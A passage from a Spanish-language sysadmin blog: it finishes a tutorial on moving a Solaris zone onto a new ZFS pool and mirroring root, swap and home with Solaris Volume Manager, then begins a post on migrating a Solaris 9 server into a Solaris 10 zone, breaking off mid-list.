shangai /#> zpool status -v
pool: zones
state: ONLINE
scrub: none requested
config:
NAME STATE READ WRITE CKSUM
zones ONLINE 0 0 0
c1t1d0s7 ONLINE 0 0 0
errors: No known data errors
shangai /#> zfs list
NAME USED AVAIL REFER MOUNTPOINT
zones 789M 32.5G 26.5K /zones
zones/testing 789M 32.5G 228M /zones/testing
</pre>
</div>
A continuación crearemos un slice de 10 Gb. en el primer disco (<i>c1t0d0</i>), para contener nuestra zona en un futuro, por lo cual desde <i>format</i> debemos definir el nuevo slice:
<div class="highlight">
<pre>shangai /#> format
Searching for disks...done
AVAILABLE DISK SELECTIONS:
0. c1t0d0 <sun36g 107="" 24620="" 27="" 2="" alt="" cyl="" hd="" sec="">
/pci@8,600000/SUNW,qlc@4/fp@0,0/ssd@w21000004cf72faa5,0
1. c1t1d0 <sun36g 107="" 24620="" 27="" 2="" alt="" cyl="" hd="" sec="">
/pci@8,600000/SUNW,qlc@4/fp@0,0/ssd@w21000004cf7805c4,0
Specify disk (enter its number): 0
selecting c1t0d0
[disk formatted]
</pre></div>
Format nos preguntará sobre que disco queremos trabajar, por lo cual, en nuestro caso debemos seleccionar el primer disco, osea, el número 0, (<i>c1t0d0</i>).
<div class="highlight"><pre>
FORMAT MENU:
disk - select a disk
type - select (define) a disk type
partition - select (define) a partition table
current - describe the current disk
format - format and analyze the disk
repair - repair a defective sector
label - write label to the disk
analyze - surface analysis
defect - defect list management
backup - search for backup labels
verify - read and display labels
save - save new disk/partition definitions
inquiry - show vendor, product and revision
volname - set 8-character volume name
!<cmd> - execute <cmd>, then return
quit
format> p
</pre></div>
Ya en el menú de format, seleccionamos <i>partition</i>, a esto lo hacemos escribiendo literalmente <i>partition</i>, o simplemente con la letra <i>"p"</i>.
<div class="highlight"><pre>
PARTITION MENU:
0 - change `0' partition
1 - change `1' partition
2 - change `2' partition
3 - change `3' partition
4 - change `4' partition
5 - change `5' partition
6 - change `6' partition
7 - change `7' partition
select - select a predefined table
modify - modify a predefined partition table
name - name the current table
print - display the current table
label - write partition map and label to the disk
!<cmd> - execute <cmd>, then return
quit
partition> p
</pre></div>
Ya podemos trabajar con nuestras particiones, podemos seleccionar alguna de ellas, simplemente escogiendo el número sobre la que queremos trabajar y reasignar su geometría, o cargar un layout predefinido del archivo <i>/etc/format.dat</i>. En nuestr caso vamos a imprimir la tabla actual, escribiendo <i>print</i>, o su primer letra <i>"p"</i>:
<div class="highlight"><pre>
Current partition table (original):
Total disk cylinders available: 24620 + 2 (reserved cylinders)
Part Tag Flag Cylinders Size Blocks
0 root wm 363 - 6170 8.00GB (5808/0/0) 16779312
1 swap wu 0 - 362 512.06MB (363/0/0) 1048707
2 backup wm 0 - 24619 33.92GB (24620/0/0) 71127180
3 home wm 6171 - 6896 1.00GB (726/0/0) 2097414
4 unassigned wm 0 0 (0/0/0) 0
5 unassigned wm 0 0 (0/0/0) 0
6 unassigned wm 0 0 (0/0/0) 0
7 unassigned wm 0 0 (0/0/0) 0
partition> 4
</pre></div>
Nuestra partición 0, se encuentra siendo utilizada por el root filesystem, la 1 como sabemos es la swap, la 2 es backup (osea todo el disco), la 3 la home, por lo cual para seguir un orden geométrico, seleccionaremos la cuatro, y comenzaremos a definir la nueva partición.
<div class="highlight"><pre>
Part Tag Flag Cylinders Size Blocks
4 unassigned wm 0 0 (0/0/0) 0
Enter partition id tag[unassigned]:
Enter partition permission flags[wm]:
Enter new starting cyl[0]: 6897
Enter partition size[0b, 0c, 6897e, 0.00mb, 0.00gb]: 10gb
</pre></div>
En la particón 4, definimos primero el tag, luego los flags con los que montará, en este caso <i>wm</i>, osea es una partición escribible y montable. Definimos el cilindro por el que la partición comienza, en nuestro caso en orden, el siguiente cilindro libre, osea el <i>6897</i>, y por ultimo el tamaño, aquí <i>10gb</i>.
<div class="highlight"><pre>
partition> p
Current partition table (unnamed):
Total disk cylinders available: 24620 + 2 (reserved cylinders)
Part Tag Flag Cylinders Size Blocks
0 root wm 363 - 6170 8.00GB (5808/0/0) 16779312
1 swap wu 0 - 362 512.06MB (363/0/0) 1048707
2 backup wm 0 - 24619 33.92GB (24620/0/0) 71127180
3 home wm 6171 - 6896 1.00GB (726/0/0) 2097414
4 unassigned wm 6897 - 14156 10.00GB (7260/0/0) 20974140
5 unassigned wm 0 0 (0/0/0) 0
6 unassigned wm 0 0 (0/0/0) 0
7 unassigned wm 0 0 (0/0/0) 0
partition> label
Ready to label disk, continue? y
</pre></div>
Volvemos a imprimir la tabla, mediante <i>print</i>, y escribirmos el label a disco.<br/><br/>
El slice (c1t0d0s4) ya se encuentra creado,para estar seguros, fuera de la herramienta <i>format</i> imprimimos nuestra <b>VTOC</b>, utilizando <i>prvtoc</i>,(print vtoc):
<div class="highlight">
<pre>shangai /#> prtvtoc -h /dev/dsk/c1t0d0s2
0 2 00 1048707 16779312 17828018 /
1 3 01 0 1048707 1048706
2 5 00 0 71127180 71127179
3 8 00 17828019 2097414 19925432 /export/home
4 0 00 19925433 20974140 40899572
</pre></div>
Vemos que la partición 4 se encuentra creada. El argumento -h del comando <i>prtvtoc</i> le dice a este que no imprima el header.
<br/><br/>
Ahora vamos a crear un nuevo zpool, con el slice que acabamos de crear, recuerden que este zpool va a contener la zona <i>"testing"</i>, por lo cual, para que el <i>zonepath</i> de la zona funcione correctamente, debe tener el mismo nombre, aunque siempre existe la posibilidad de editar con <i>zonecfg</i> esta propiedad a fin de ajustarla al nuevo path. En mi caso, quería seguir utilizando <i>"zones"</i>. Por lo cual cree un nuevo zpool llamado <i>"zonas"</i>:
<br />
<div class="highlight">
<pre>shangai /#> zpool create zonas /dev/dsk/c1t0d0s4
NAME SIZE USED AVAIL CAP HEALTH ALTROOT
zonas 9.94G 88K 9.94G 0% ONLINE -
zones 33.8G 789M 33.0G 2% ONLINE -
</pre>
</div>
Con el Zpool creado, y para evitar corrupciones de archivos, vamos a apagar nuestra zona, y comprobar que la misma haya bajado bien:
<br />
<div class="highlight">
<pre>shangai /#> zoneadm -z testing halt
shangai /#> zoneadm list -vi
ID NAME STATUS PATH BRAND IP
0 global running / native shared
- testing installed /zones/testing native shared
</pre>
</div>
Perfecto, la zona se encuentra baja, ahora lo que vamos a hacer, es migrar el filesystem <i>"testing"</i>, donde esta nuestra zona, al nuevo zpool <i>"zonass"</i> que acabamos de crear, para ello tomamos un snapshot de <i>zones/testing</i>:
<br />
<div class="highlight">
<pre>shangai /#> zfs snapshot zones/testing@snapshot-$(date +%Y-%m-%d)
shangai /#> zfs list
NAME USED AVAIL REFER MOUNTPOINT
zonas 85K 9.78G 24.5K /zonas
zones 789M 32.5G 26.5K /zones
zones/testing 789M 32.5G 228M /zones/testing
zones/testing@snapshot-2012-06-23 0 - 228M -
</pre>
</div>
Ahora mediante la opción <i>send</i> de ZFS restauramos el filesystem en el nuevo zpool:
<br />
<div class="highlight">
<pre>shangai /#> zfs send zones/testing@snapshot-2012-06-23 | zfs receive zonas/testing
NAME USED AVAIL REFER MOUNTPOINT
zonas 346M 9.44G 25.5K /zonas
zonas/testing 345M 9.44G 345M /zonas/testing
zonas/testing@snapshot-2012-06-23 0 - 345M -
zones 789M 32.5G 26.5K /zones
zones/testing 789M 32.5G 228M /zones/testing
zones/testing@snapshot-2012-06-23 0 - 228M -
</pre>
</div>
Y borramos el zpool <i>"zones"</i>. Debemos pasarle el flag <i>-f</i> a fin de forzar la eliminación de dicho zpool, que se encuentra con filesystems montados:
<br />
<div class="highlight">
<pre>shangai /#> zpool destroy -f zones
</pre>
</div>
Ahora vamos a renombrar el zpool de <i>"zonas"</i> a <i>zones</i> nuevamente, para ello primero debemos exportarlo, y volver a importarlo con el nuevo nombre:
<br />
<div class="highlight">
<pre>shangai /#> zpool export zonas
shangai /#> zpool import zonas zones
shangai /#> zpool list
NAME SIZE USED AVAIL CAP HEALTH ALTROOT
zones 9.94G 346M 9.60G 3% ONLINE -
</pre></div>
Esto dependiendo el tamaño de la zona puede tardar un rato, en este caso la zona era pequeña, por lo cual fue una tarea más que rápida. Si todo salio bien, ya estamos en condiciones de bootear nuestra zona nuevamente y loguearnos en ella:
<div class="highlight">
<pre>shangai /#> zoneadm -z testing boot
shangai /#> zlogin testing
[Connected to zone 'testing' pts/3]
Last login: Fri Jun 22 15:56:10 from testing
[root@testing /#] exit
[Connection to zone 'testing' pts/4 closed]
</pre></div>
Ya estamos a un 50% de concluir nuestra tarea, lo que debemos hacer a continuación es espejar nuestra VTOC de un disco a otro, si bien es posible realizar esto a mano, copiando la geometría de un disco a otro, es más práctico hacerlo a mano, para ello con <i>prtvtoc</i> imprimimos nuestra tabla de particiones y la levantamos en el segundo disco con <i>fmthard</i> (<i>format harddrive</i>):
<br />
<div class="highlight">
<pre>shangai /#> prtvtoc /dev/rdsk/c1t0d0s2 | fmthard -s - /dev/rdsk/c1t1d0s2
fmthard: New volume table of contents now in place.
</pre>
</div>
Y attacheamos el segundo disco a nuestro zpool
<br />
<div class="highlight">
<pre>shangai /#> zpool attach zones c1t0d0s4 c1t1d0s4
shangai /#> zpool status -v
pool: zones
state: ONLINE
status: One or more devices is currently being resilvered. The pool will
continue to function, possibly in a degraded state.
action: Wait for the resilver to complete.
scrub: resilver in progress, 46.90% done, 0h0m to go
config:
NAME STATE READ WRITE CKSUM
zones ONLINE 0 0 0
mirror ONLINE 0 0 0
c1t0d0s4 ONLINE 0 0 0
c1t1d0s4 ONLINE 0 0 0
errors: No known data errors
</pre>
</div>
La <b>metadb</b>, es una base de datos de estados utilizada para mantener la configuración de todos nuesotros metadevices en el sistema.
Para ser más concisos aún, la metadb se define como una colección de múltiples replicas de bases de estados de dispositivos, donde cada replica se somete a intensivos chequeos a fin de garantizar su consistencia.<br/>
Adicionalemente, también mantiene información sobre las transacciones realizadas en nuestros metadevices. SVM actualiza la metadb cuando un cambio en la configuración ocurre, por ejemplo cuando un submirror falla. La metadb puede ser almacenada en un slice dedicado (como configuraremos nosotros), o en cualquier metadevice, siempre y cuando no contenga información preexistente.<br/>
Seguramente se preguntarán, que pasa si distintas metadb's, mantienen información distinta, la respuesta es fácil, SVM, utiliza un algoritmo en el cual obedece solo en caso de que la mitad + 1 tengan la misma información, por lo cual de esta manera se evitan problemas similares al <a href="http://en.wikipedia.org/wiki/RAID_5_write_hole" target="_new"><i>RAID 5 write hole</i></a>.<br/>
Solo como un consejo, <b>NUNCA</b> creen la metadb en un storage interno (SAN/NAS).<br/> Es recomendable que las réplicas de la metadb se encuentren en diferentes discos (como haremos en este caso), o aún mejor, en diferentes controladoras.
<br /><br />
Como creamos nuestro slice para el zpool, debemos crear un nuevo slice en <b>ambos discos</b> con <b>exactamente la misma geometría</b>, un slice dedicado para nuestra <i>metadb</i>, por lo cual volvemos a recurrir a <i>format</i>.
<div class="highlight">
<pre>shangai /#> format
Searching for disks...done
AVAILABLE DISK SELECTIONS:
0. c1t0d0 <sun36g 107="" 24620="" 27="" 2="" alt="" cyl="" hd="" sec="">
/pci@8,600000/SUNW,qlc@4/fp@0,0/ssd@w21000004cf72faa5,0
1. c1t1d0 <sun36g 107="" 24620="" 27="" 2="" alt="" cyl="" hd="" sec="">
/pci@8,600000/SUNW,qlc@4/fp@0,0/ssd@w21000004cf7805c4,0
Specify disk (enter its number): 0
selecting c1t0d0
partition> p
Current partition table (original):
Total disk cylinders available: 24620 + 2 (reserved cylinders)
Part Tag Flag Cylinders Size Blocks
0 root wm 363 - 6170 8.00GB (5808/0/0) 16779312
1 swap wu 0 - 362 512.06MB (363/0/0) 1048707
2 backup wm 0 - 24619 33.92GB (24620/0/0) 71127180
3 home wm 6171 - 6896 1.00GB (726/0/0) 2097414
4 unassigned wm 6897 - 14156 10.00GB (7260/0/0) 20974140
5 unassigned wm 0 0 (0/0/0) 0
6 unassigned wm 0 0 (0/0/0) 0
7 unassigned wm 0 0 (0/0/0) 0
partition> 7
Part Tag Flag Cylinders Size Blocks
7 unassigned wm 0 0 (0/0/0) 0
Enter partition id tag[unassigned]:
Enter partition permission flags[wm]:
Enter new starting cyl[0]: 14157
Enter partition size[0b, 0c, 14157e, 0.00mb, 0.00gb]: 100mb
partition> label
Ready to label disk, continue? y
</sun36g></sun36g></pre>
</div>
Crearemos la metadb con 3 copias de ellas en ambos slices, dando un total de 6. Para ello vamos a utilizar el comando <i>metadb</i>. El flag <i>-a</i>, le indica a metadb que debe crear una nueva db, el flag <i>-c 3</i>, es la cantidad de copias que deben existir de ella, y que se utilizarán en caso de alguna corrupción de datos, y el flag <i>-f</i> se utiliza para crear la metadb inicial.
<br />
<div class="highlight">
<pre>shangai /#> metadb -a -c 3 -f c1t0d0s7 c1t1d0s7
</pre>
</div>
Una vez creadas, podemos monitorear el estado de nuestras metadb, de la siguiente manera:
<div class="highlight"><pre>
shangai /#> metadb -i
flags first blk block count
a m p luo 16 8192 /dev/dsk/c1t0d0s7
a p luo 8208 8192 /dev/dsk/c1t0d0s7
a p luo 16400 8192 /dev/dsk/c1t0d0s7
a p luo 16 8192 /dev/dsk/c1t1d0s7
a p luo 8208 8192 /dev/dsk/c1t1d0s7
a p luo 16400 8192 /dev/dsk/c1t1d0s7
r - replica does not have device relocation information
o - replica active prior to last mddb configuration change
u - replica is up to date
l - locator for this replica was read successfully
c - replica's location was in /etc/lvm/mddb.cf
p - replica's location was patched in kernel
m - replica is master, this is replica selected as input
W - replica has device write errors
a - replica is active, commits are occurring to this replica
M - replica had problem with master blocks
D - replica had problem with data blocks
F - replica had format problems
S - replica is too small to hold current data base
R - replica had device read errors
</pre></div>
Ahora llego el momento de crear nuestros <b>metadevices</b>, y cada metadevice no es otra cosa que un mappeo desde un dispositivo de bloques lógico identificado por un nombre a un conjunto de bloques en disco albergados dentro de un slice o en un disco los cuales son manejados por una tecnología conocida como <i>device mapper</i>, en este caso SVM. Cada metadevice es nombrado por la letra <i>"d"</i> seguido de un número (<i>dXX</i>), y debemos tener un metadevice por cada slice que queramos inicializar utilizando SVM.<br/>
Por ejemplo, como en este caso, para crear mirrors, tenemos un slice destinado en cada uno de nuestros discos, <i>c1t0d0s0</i> (disco 1) y <i>c1t1d0s0</i> (disco 2), llamaremos al metadevice del primer disco <i>d21</i>, y al metadevice del segundo disco <i>d22</i>, los cuales en conjunto crearan el metadevice <i>d20</i>. Si bien un metadevice puede tener cualquier nombre, por una cuestión de prolijidad y fácilidad de entendimiento utilizaremos estos nombres que son los que se utilizan en la mayoría de las implementanciones.<br/>
<br/>
Mediante el comando <i>metainit</i>, procederemos a crear cada uno de ellos, vamos a crear los <i>metadevices</i> para el root filesystem (<i>d11</i> en <i>c1t0d0s0</i>, y <i>d12</i> en <i>c1t1d0s0</i>) creando un mirror al que denominaremos <i>d10</i>, y en principio le attacharemos solo el primero de los metadevices que crearemos, <i>d11</i> El flag <i>-f</i>, le indica a <i>metainit</i>, que fuerze la operación, aunque el device sobre el que crearemos el metadevice contenga particiones montadas. Nosotros queremos 1 device físico en cada metadevice, los parámetros <i>1 1</i> le dicen a <i>metainit</i> que creen una concatenación 1 a 1 entre ambos discos.
<br />
<div class="highlight">
<pre>shangai /#> metainit -f d11 1 1 c1t0d0s0
d11: Concat/Stripe is setup
shangai /#> metainit -f d12 1 1 c1t1d0s0
d12: Concat/Stripe is setup
</pre></div>
Ahora, también con <i>metainit</i>, inicializaremos el mirror <i>d10</i>, diciéndole que <i>d11</i> es un submirror de <i>d10</i>. La sintaxis es la siguiente: <i>metainit mirror -m submirror</i>. Mas adelante, attacharemos <i>d12</i>, la otra mitad del mirror.
<div class="highlight"><pre>
shangai /#> metainit d10 -m d11
d10: Mirror is setup
</pre>
</div>
Ahora utilizando <i>metaroot</i> (solo para trabajar menos), le diremos al sistema operativo (mediante /etc/system) y al archivo <i>/etc/vfstab</i>, que nuestro boot device (o rootdev) se encuentra en el metadevice <i>d10</i> y de esta forma evitaremos tener que realizar los cambios a mano:
<br />
<div class="highlight">
<pre>shangai /#> metaroot d10
</pre>
</div>
Si miramos dentro de los archivos <i>/etc/system</i> y <i>/etc/vfstab</i>, encontraremos algo similar a esto:
<div class="highlight"><pre>
shangai /#> cat /etc/system
* Begin MDD root info (do not edit)
rootdev:/pseudo/md@0:0,10,blk
* End MDD root info (do not edit)
shangai /#> cat /etc/vfstab
#device device mount FS fsck mount mount
#to mount to fsck point type pass at boot options
#
/dev/md/dsk/d10 /dev/md/rdsk/d10 / ufs 1 no -
</pre></div>
Ahora vamos a continuar inicalizando el resto de nuestros metadevices, primero crearemos <i>d21</i> y <i>d22</i>, que formarán parte de <i>d20</i>, el cual corresponde a nuestra swap.
<br />
<div class="highlight">
<pre>shangai /#> metainit -f d21 1 1 c1t0d0s1
d21: Concat/Stripe is setup
shangai /#> metainit -f d22 1 1 c1t1d0s1
d22: Concat/Stripe is setup
shangai /#> metainit d20 -m d21
d20: Mirror is setup
</pre>
</div>
En este punto debemos recordar hacer el cambio en el archivo <i>/etc/vfstab</i>, ya que <i>metaroo</i> no realiza esto para la swap (solo lo hace para el rootfs). Utilizando SVM el path hacia el device se encuentra ahora en <i>/dev/md/dsk</i>, por lo cual debemos modificar esto como se detalla a continuación, comentando la entrada antigua, y escribiendo el nuevo path hacia <i>/dev/md/dsk/d20</i>:
<br />
<div class="highlight">
<pre>
#device device mount FS fsck mount mount
#to mount to fsck point type pass at boot options
#
#/dev/dsk/c1t0d0s1 - - swap - no -
/dev/md/dsk/d20 - - swap - no -
</pre>
</div>
Ahora vamos a crear los metadevices <i>d31</i> y <i>d32</i>, que formaran el mirror <i>d30</i> y corresponde a <i>/export/home</i>. También debemos recordar modificar el <i>/etc/vfstab</i> para ajustar estos cambios:
<br />
<div class="highlight">
<pre>shangai /#> metainit -f d31 1 1 c1t0d0s3
d31: Concat/Stripe is setup
shangai /#> metainit -f d32 1 1 c1t1d0s3
d32: Concat/Stripe is setup
shangai /#> metainit d30 -m d31
d30: Mirror is setup
</pre></div>
Y volvemos a cambiar el <i>/etc/vfstab</i>, para decirle al sistema que nuestro <i>/export/home/</i> se encuentra en <i>/dev/md/dsk/d30</i>:
<div class="highlight"><pre>
#/dev/dsk/c1t0d0s3 /dev/rdsk/c1t0d0s3 /export/home ufs 2 yes -
/dev/md/dsk/d30 /dev/md/rdsk/d30 /export/home ufs 2 yes -
</pre></div>
Ya estamos en condiciones de rebootear, pero antes vamos a ejecutar <i>lockfs</i> con el objetivo de vaciar todos los buffers, si bien no es necesario, es recomendado.
<div class="highlight"><pre>
shangai /#> lockfs -fa
shangai /#> shutdown -y -g 0 -i 6
</pre></div>
Una vez el equipo booteado, nos volvemos a loguear como root, y procedemos a attachear los metadevices del segundo disco, esto es: a <i>d10</i> le attacheamos <i>d12</i>, a <i>d20</i> <i>d22</i> y a <i>d30</i> attacheamos <i>d32</i>.
<br />
<div class="highlight">
<pre>shangai /#> metattach d10 d12
d10: submirror d12 is attached
shangai /#> metattach d20 d22
d20: submirror d22 is attached
shangai /#> metattach d30 d32
d30: submirror d32 is attached
</pre>
</div>
Una vez listo, esto, el sistema comenzará a sincronizar los metadevices entre ambos discos, podemos inspeccionar esto mediante el <i>metastat</i>:
<br />
<div class="highlight">
<pre>shangai /#> metastat -c
d30 m 1.0GB d31 d32 (resync-12%)
d31 s 1.0GB c1t0d0s3
d32 s 1.0GB c1t1d0s3
d20 m 512MB d21 d22 (resync-73%)
d21 s 512MB c1t0d0s1
d22 s 512MB c1t1d0s1
d10 m 8.0GB d11 d12 (resync-4%)
d11 s 8.0GB c1t0d0s0
d12 s 8.0GB c1t1d0s0
</pre>
</div>
Una vez terminada la sincronización en los tres mirrors, estamos en condiciones de comenzar a disfrutar de SVM en todo su esplendor, pero solo resta una cosa más, únicamente si estamos utilizando arquitectura SPARC, instalar el bootloader, <i>ufsboot</i> en el segundo disco (c1t1d0s0), así de en caso de una falla en el primer disco, podamos bootear desde el segundo. <i>ufsboot</i>, se encuentra en <i>/usr/platform/`uname -i`/lib/fs/ufs/bootblk</i>.
<div class="highlight">
<pre>shangai /#> installboot /usr/platform/`uname -i`/lib/fs/ufs/bootblk /dev/rdsk/c1t1d0s0
</pre></div>
Alternativamente podriamos configurar en el OBP, mediante un alias, por ejemplo <i>boot-backup</i>, para especificarle este segundo disco en caso de que el primero falle como <i>boot-device</i>.<br/>
Ahora, si cualquiera de nuestros dispositivos de almacenamiento físico, falla, nuestra información está a salvo, gracias a estas dos tecnologías maravillosas, SVM y ZFS.tty0http://www.blogger.com/profile/01071302674256069171noreply@blogger.com3tag:blogger.com,1999:blog-5189027816427515351.post-85412795327033953722012-06-16T00:11:00.000-03:002012-10-27T21:41:30.473-03:00P2V migration: from Solaris 9 server to Solaris 10 branded zone.<br />
<div class="separator" style="border: 0px; clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;">
<img border="0" height="104" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsFmWdfvxL2I6TFvA-zu2lEQSVdIj863rZEoO7gK4pcRn-iwUPlz6rJ5wU5Q0MO9FNNe-MxfhdNTbAxS4SEA_Pkctc8mXUYssvZBr5Unv28NQtp3eM31r5-mWeoSTFWftbkESDIzw0VOY/s200/solaris-logo.png" width="200" /></div>
<br />
Hace poco tiempo atrás, participe en un proyecto en el cual se me asigno la tarea de migrar un obsoleto equipo en <b>Solaris 9</b>, junto a sus aplicaciones, a un nuevo <i>Sun Enterprise M3000</i> con <b>Solaris 10</b>.<br />
El proceso es en si sencillo y brinda una flexibilidad enorme al hacer este tipo de migraciones que cada vez se vuelven mas frecuentes en datacenters del mundo.<br />
La idea principal es disminuir la cantidad de hardware necesario y el espacio ocupado por este en los datacenters, como así también aprovechar las ventajas que provee la posibilidad de utilizar zonas para disminuir costos, como así también reducir el punto de falla de equipos, debido a que tarde o temprano, esto debería ser migrado ya que en estos tiempos Solaris 9 a quedado obsoleto en el mercado.<br />
<a name='more'></a><br />
Antes de meter leña al fuego, debemos comprender algunos conceptos generalizados sobre las tecnologías con las que vamos a trabajar.
<br />
<br />
<u>Sun Enterprise M3000</u><br />
El <b>M3000</b> es el Entry Level de la familia de servidores MX000 desarrollados conjuntamente entre Sun (ahora Oracle) y Fujitsu utilizando la familia de procesadores <b>SPARC 64 VII</b> y el nuevo bus de interconexiones Jupiter. Este equipo es el más pequeño de este conjunto, ocupando solo 2RU (unidades de rack), pero cuenta con características más que interesantes que lo convierten en una buena elección para este tipo de migración. Si bien otros equipos de la familia tales como el M4000, M8000 y M9000 superan enormemente al M3000, debido a la posibilidad de poder crear mas de un dominio en el, se convierte, como dije anteriormente en una excelente elección para esa migración.
<br />
<br />
<u>Virtualización en Solaris:</u><br />
<br />
Solaris ofrece principalmente tres métodos para virtualizar (si puede llamarse así), ellos son <b>LDOM</b> (Logical Domains), esto es quizás lo más parecido a un hypervisor (director en este caso), que podemos encontrar. <b>Hardware Domains</b>, en los cuales, en equipos de gama alta (M4000, M8000, M9000), el hardware es dividido a nivel eléctrico, conformando distintos subconjuntos y donde uno o varios dominios son creados y configurados y el último Solaris Containers, que describiré a continuación.<br />
<u><br />Solaris Containers and Zones:</u><br />
Parecido al concepto de las Jails en <a href="http://en.wikipedia.org/wiki/FreeBSD_Jail">FreeBSD</a> o <a href="http://www.ibm.com/developerworks/aix/library/au-wpar61aix/">Workload Partitioning</a> (WPAR) de AIX, es el concepto de<b> Zonas </b>en Solaris. Introducidas originalmente en el año 2005, una zona no es otra cosa que una instacia del sistema operativo corriendo sobre este, de manera totalmente aislada con única dependencia de un Container, esto es, la zona global.<br />
Definimos como zona global a la instancia original del sistema operativo, quien administra y hace uso de la memoria, CPU, I/O, devices, filesystem y el resto de recursos de hardware y distribuye esto a las zonas no globales creadas en el.<br />
<br />
Teóricamente es posible crear mas de<b> 8.000 zonas por dominio</b>, aunque siempre este limite se encuentra limitado por el propio hardware del equipo, cabe destacar que una zona es muy liviana, de hecho una zona <i>sparse-root</i> ocupa menos de 40 mb. Son rápidas y fáciles de crear ademas de tener la capacidad de compartir el kernel, y algunos directorios de uso común (como <i>/usr</i>, <i>/opt, /bin, /sbin, /lib</i>, entre otros) con la zona no global, a la que también se le suele denominar zona nativa.<br />
<br />
Es posible compartir una interfaz de red con la zona global, o dedicar completamente una de ellas a fin de lograr una mejor gestión de networking del equipo.<br />
A fin de lograr performance en cuanto a I/O se pueden dedicar devices exclusivos a una zona, como así también crear zpools, o filesystems utilizando ZFS para que sea utilizado unicamente por una zona no global.<br />
Podemos concluir con que una zona nos provee básicamente dos cosas:<b> flexibilidad</b>, debido a la amplia gama de configuraciones posibles que podemos lograr. Y <b>aislamiento</b> (isolation), esto significa que desde una zona no global es teóricamente y prácticamente imposible escapar de ella, por lo cual garantiza seguridad, aunque con un usuario suficientemente privilegiado, desde la zona global podrán ser vistos y manejados los procesos de las zonas no globales, como así también los devices y filesystems a los que la zona accede. <br />
<br />
En lo que respecta a gestión de recursos, podemos priorizar zonas utilizando <i><a href="http://en.wikipedia.org/wiki/Fair-share_scheduling">FSS</a> </i>(Fair Share Scheduler), esto significa dividiendo el tiempo total de CPU de formas definidas previamente (a las que denominaremos shares), y asignandole a cada miembro del conjunto una cantidad determinada de esos shares, por ejemplo si tenes cinco zonas las cuales tienen 500 shares, y a una zona le asignamos 100 shares, FSS se asegurará de asignarle a esa zona 1/5 parte del tiempo total de CPU asignado al conjunto como mínimo. Esto evita gastar tiempo de CPU de manera inútil, problema que puede impactar en la performance de la zona. <i>CPU Caps</i> el cual asigna una cantidad especifica del tiempo total de CPU a una zona durante un tiempo de muestra, por ejemplo podemos decir que el proceso X de la zona Y, puede consumir solo el 4.33 de Z CPU. Y el último método disponible es crear CPU pools y dedicar CPU's de manera exclusiva a una zona o conjunto de ellas (Dynamic Resource Pools). Por su parte, si necesitaramos limitar la memoría (swap, share memory, real, etc.) que utiliza una zona podemos darle una mirada a <i>Resource Capping Daemon</i> (rcapd), además de siempre proveernos la capacidad de hacer estos cambios de manera dinámica sin la necesidad de reiniciar la zona.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsKuFef8Qt9V1fMJw7-uHAbMpckh1jsnrrTLjYw_l8OQ4tQVT_9dkClLRwL4YzD-kMQEbRMiXOJUgq0cmkWZzpNJCi_ahZfm2QkQ2z8eN1tEqIIctTvtDL0M5hChCo1jvL4FweG-RGa_c/s1600/serv-con-zones_S10.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="552" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsKuFef8Qt9V1fMJw7-uHAbMpckh1jsnrrTLjYw_l8OQ4tQVT_9dkClLRwL4YzD-kMQEbRMiXOJUgq0cmkWZzpNJCi_ahZfm2QkQ2z8eN1tEqIIctTvtDL0M5hChCo1jvL4FweG-RGa_c/s640/serv-con-zones_S10.gif" width="640" /></a></div>
La migración de antiguos equipos con Solaris 8 o 9 a zonas en Solaris 10, puede proveernos algunas características interesantes de las que podemos hacer uso y abuso, como por ejemplo utilizar FMA (<i>Fault Managment Agent</i>), Dtrace para examinar los procesos de la zona, utilizar ZFS o Zvols, ejecutar antiguas versiones en hardware hasta el momento no soportado, poder mover zonas de un equipo a otro sin mayores dificultades y beneficiarse de las mejoras de performance de Solaris 10.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh167yJJ7RYQ_cTYFjQ-Dz6JgLgvoRk7c_UQ4sX7mz-q0HLghJGJ-qPCgLHi1QXKQSfazPNggFbfwm0-cqcXvFBsLqDTarQLMxw9eokbQ0BFqVA5maHeUDhqYPQWEajQoief1pjSGTK6_o/s1600/P2V.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh167yJJ7RYQ_cTYFjQ-Dz6JgLgvoRk7c_UQ4sX7mz-q0HLghJGJ-qPCgLHi1QXKQSfazPNggFbfwm0-cqcXvFBsLqDTarQLMxw9eokbQ0BFqVA5maHeUDhqYPQWEajQoief1pjSGTK6_o/s320/P2V.gif" width="320" /></a></div>
El costo de hacer negocios es el crecimiento exponencial de la carga del equipo, pero ¿cuanta carga añade una zona?. Veamos este ejemplo extraido del documento "<a href="http://hub.opensolaris.org/bin/view/Community+Group+zones/faq">Zones and Containters FAQ</a>":<br />
<blockquote class="tr_bq">
<i><span style="background-color: white; font-family: 'Bitstream Vera Sans', 'Lucida Sans', 'DejaVu Sans', Arial; font-size: 12px; line-height: 16px; text-align: left;">40 zones, each running five copies of the Apache web service, on an E250 with two 300MHz CPUs, 512MB RAM, and three hard disk drives totalling 40GB. With all zones running and a load consisting of multiple simultaneous HTTP requests to each zone, the overhead of using zones was so small it wasn’t measurable (<5%).</span> </i></blockquote>
<br />
<u>Básicamente podemos categorizar las zonas de tres formas:</u><br />
<ul>
<li><u style="font-weight: bold;">Sparse-root zone:</u><br />Una zona Sparse-root es una pequeña instancia del mismo sistema operativo ejecutandose en un entorno aislado, comparte el mismo kernel que la zona global, como así también binarios, directorios, los cuales se montan para la zona como solo lectura.<br />Una zona Sparse-root completamente configurada y en ejecución, pesa aproximadamente unos 100 mb. Es la opción más liviana a ser usada y nos brinda una enorme flexibilidad.</li>
<li><b style="text-decoration: underline;">Whole-root zone:</b><br />Por su parte una zona Whole-root, es mas grande que una Sparse-root y consume más recursos, se basa en una instancia independiente del sistema operativo (1 gb. aproximadamente), utilizando su propio kernel, binarios y directorios.</li>
